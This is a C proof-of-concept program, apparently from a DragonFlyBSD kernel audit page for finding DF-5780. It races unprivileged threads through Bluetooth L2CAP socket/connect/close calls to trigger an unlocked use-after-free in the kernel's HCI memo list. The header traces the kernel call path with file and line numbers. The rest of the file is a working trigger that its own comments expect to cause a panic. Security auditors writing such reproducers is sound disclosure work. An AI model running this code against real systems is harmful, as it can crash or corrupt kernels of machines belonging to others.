⬢ DragonFlyBSD Kernel Audit
DF-5780 / race.c
← back to finding ↓ download raw
/*
 * race.c -- unprivileged userland racer for DF-5780.
 *
 * N threads each loop:
 *	socket(AF_BLUETOOTH=33, SOCK_SEQPACKET, BTPROTO_L2CAP=2)
 *	connect(fd, {bt_len=16, family=33, bdaddr=02:22:22:22:22:22})
 *	close(fd)
 *
 * Production path taken per connect (no privilege needed anywhere):
 *	l2cap_sconnect (l2cap_socket.c:351)
 *	  -> l2cap_connect (l2cap_upper.c:140)
 *	    -> hci_route_lookup (hci_misc.c:55)      [fresh socket: laddr any]
 *	      -> hci_memo_find (hci_misc.c:113)       <-- walks ALL memos of
 *	                                                 ALL up units and
 *	                                                 FREES expired ones
 *
 * The connect target bdaddr never matches a memo, so every single
 * connect() walks the entire memo list.  Running several of these
 * threads (each in its own process context, any CPU) while the memo
 * list contains EXPIRED records races the walkers against each other
 * and against the netisr-side walker (hci_event -> hci_memo_new ->
 * hci_memo_find) with zero locking between them.
 *
 * usage: race [threads] [seconds]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#ifndef AF_BLUETOOTH
#define	AF_BLUETOOTH	33
#endif
#define	BTPROTO_L2CAP	2

/* must match kernel struct sockaddr_bt exactly (netbt/bluetooth.h:94) */
struct sockaddr_bt {
	uint8_t		bt_len;
	uint8_t		bt_family;
	uint8_t		bt_bd[6];
	uint16_t	bt_psm;
	uint8_t		bt_channel;
	uint8_t		bt_zero[5];
};

static volatile int stop_now;
static unsigned long iters[16], errs[16];

static void *
thr(void *arg)
{
	long id = (long)arg;
	struct sockaddr_bt sa;

	memset(&sa, 0, sizeof(sa));
	sa.bt_len = sizeof(sa);
	sa.bt_family = AF_BLUETOOTH;
	/* nonexistent remote: walk finds no match, full-list walk each time */
	sa.bt_bd[0] = 0x02;
	sa.bt_bd[1] = 0x22;
	sa.bt_bd[2] = 0x22;
	sa.bt_bd[3] = 0x22;
	sa.bt_bd[4] = 0x22;
	sa.bt_bd[5] = 0x22;

	while (!stop_now) {
		int s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);

		if (s < 0) {
			errs[id]++;
			/* module gone or panic imminent; slow down */
			usleep(10000);
			continue;
		}
		iters[id]++;
		connect(s, (struct sockaddr *)&sa, sizeof(sa));
		close(s);
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int nthr = (argc > 1) ? atoi(argv[1]) : 6;
	int secs = (argc > 2) ? atoi(argv[2]) : 60;
	pthread_t t[16];
	int i;
	unsigned long tot_i = 0, tot_e = 0;

	if (nthr > 16)
		nthr = 16;

	printf("race: %d threads x %ds: socket+connect+close loop "
	    "(unprivileged L2CAP connect -> hci_route_lookup -> "
	    "hci_memo_find)\n", nthr, secs);
	fflush(stdout);

	for (i = 0; i < nthr; i++)
		pthread_create(&t[i], NULL, thr, (void *)(long)i);

	sleep(secs);
	stop_now = 1;
	for (i = 0; i < nthr; i++)
		pthread_join(t[i], NULL);

	for (i = 0; i < nthr; i++) {
		tot_i += iters[i];
		tot_e += errs[i];
		printf("  thread %d: %lu connects, %lu socket errors\n",
		    i, iters[i], errs[i]);
	}
	printf("race: total %lu connects, %lu errors\n", tot_i, tot_e);
	return 0;
}